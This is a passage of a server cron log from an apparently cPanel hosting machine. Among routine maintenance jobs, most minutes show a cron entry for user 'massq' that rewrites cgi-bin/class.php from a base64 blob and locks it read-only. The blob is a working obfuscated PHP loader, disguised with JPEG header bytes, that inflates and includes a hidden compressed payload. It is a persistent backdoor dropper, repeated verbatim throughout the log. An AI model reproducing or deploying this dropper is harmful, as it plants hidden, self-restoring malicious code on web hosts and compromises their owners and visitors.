KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:12:01 server CROND[25020]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 12:12:01 server CROND[25019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:12:01 server CROND[25021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:12:01 server CROND[25023]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:13:01 server CROND[25389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:13:01 server CROND[25390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:13:01 server CROND[25391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:14:01 server CROND[25758]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:14:01 server CROND[25759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:14:01 server CROND[25765]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:15:01 server CROND[26136]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:15:01 server CROND[26138]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:15:01 server CROND[26141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:15:01 server CROND[26150]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  5 12:15:01 server CROND[26151]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:15:01 server CROND[26153]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:15:01 server CROND[26146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:15:01 server CROND[26148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:15:01 server CROND[26147]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  5 12:15:01 server CROND[26149]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 12:16:01 server CROND[27014]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:16:01 server CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:16:01 server CROND[27016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:17:01 server CROND[27522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:17:01 server CROND[27524]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:17:01 server CROND[27525]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:18:01 server CROND[27900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:18:01 server CROND[27899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:18:01 server CROND[27901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:19:01 server CROND[28279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:19:01 server CROND[28280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:19:01 server CROND[28281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:20:01 server CROND[28658]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 12:20:01 server CROND[28659]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 12:20:01 server CROND[28661]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 12:20:01 server CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 12:20:01 server CROND[28671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:20:01 server CROND[28675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 12:20:01 server CROND[28670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:20:01 server CROND[28672]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 12:20:01 server CROND[28674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:21:01 server CROND[29484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:21:01 server CROND[29485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:21:01 server CROND[29486]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:22:01 server CROND[29971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:22:01 server CROND[29972]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 12:22:01 server CROND[29973]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 12:23:01 server CROND[30371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 12:23:01 server CROND[30372]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1N